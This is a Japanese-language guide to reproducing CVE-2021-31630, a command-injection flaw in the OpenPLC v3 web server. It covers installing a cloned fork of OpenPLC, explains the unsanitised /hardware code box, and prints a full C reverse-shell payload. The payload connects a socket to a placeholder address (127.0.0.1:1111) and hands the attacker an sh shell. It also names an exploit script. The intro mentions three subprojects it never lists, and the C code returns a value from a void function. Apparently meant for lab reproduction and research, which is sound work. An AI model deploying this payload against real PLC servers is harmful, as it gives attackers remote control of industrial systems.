
CVE-2021-31630 を再現するには
OpenPLC は、使いやすいソフトウェアベースのオープンソースのプログラマブルロジックコントローラです。私たちは、自動化と研究のための低コストな産業用ソリューションを提供することに重点を置いています。OpenPLC は、産業サイバーセキュリティ研究のフレームワークとして多くの研究論文で使用されてきました。これは、完全なソースコードを提供する唯一のコントローラだからです。OpenPLC プロジェクトは、次の3つのサブプロジェクトで構成されています。
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
[platform] には以下の値を指定できます:
win - Cygwin 経由で Windows に OpenPLC をインストール
linux - Debian ベースの Linux ディストリビューションに OpenPLC をインストール
docker - Dockerfile によって使用されます(つまり sudo を呼び出しません)
rpi - Raspberry Pi に OpenPLC をインストール
custom - 特定のパッケージインストールをすべてスキップし、システムにすべての依存関係がすでに満たされていると仮定して OpenPLC のインストールを試みます。このオプションは、サポートされていない Linux プラットフォームに OpenPLC をインストールしようとしている場合や、依存パッケージをすべて手動でインストールしている場合に役立ちます。
CVE-2021-31630 は、OpenPLC の WebServer(コミュニティで広く使用されている v3 バージョン)における コード/コマンドインジェクション 型の脆弱性です。この脆弱性は、/hardware インターフェース(Hardware Layer Code Box)でコードをロード/編集できる機能に存在し、入力データがサーバー層で処理される前に十分にフィルタリング/サニタイズされないため、ウェブサーバープロセスの権限でコードが実行される可能性があります。この脆弱性は2021年に公開され、公開脆弱性データベースでは深刻度が高いとされています。
技術的説明(防御可能なレベル): Web インターフェースは、ユーザーが入力した「ハードウェアレイヤーコード」の断片を受け入れます。このデータはその後、検証や特殊文字のフィルタリング、厳密な制約を行うことなく、コンパイル/正規化あるいはコマンドコンテキストへの組み込みが可能なサーバーコンポーネントによって処理されます。特定の条件下(たとえば、データがシステムコマンド文字列に連結されたり、コード処理関数に直接渡されたりする場合)では、攻撃者は実行フローを変更する制御断片を挿入できます。
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
エクスプロイトコード: cve-2021-31630.py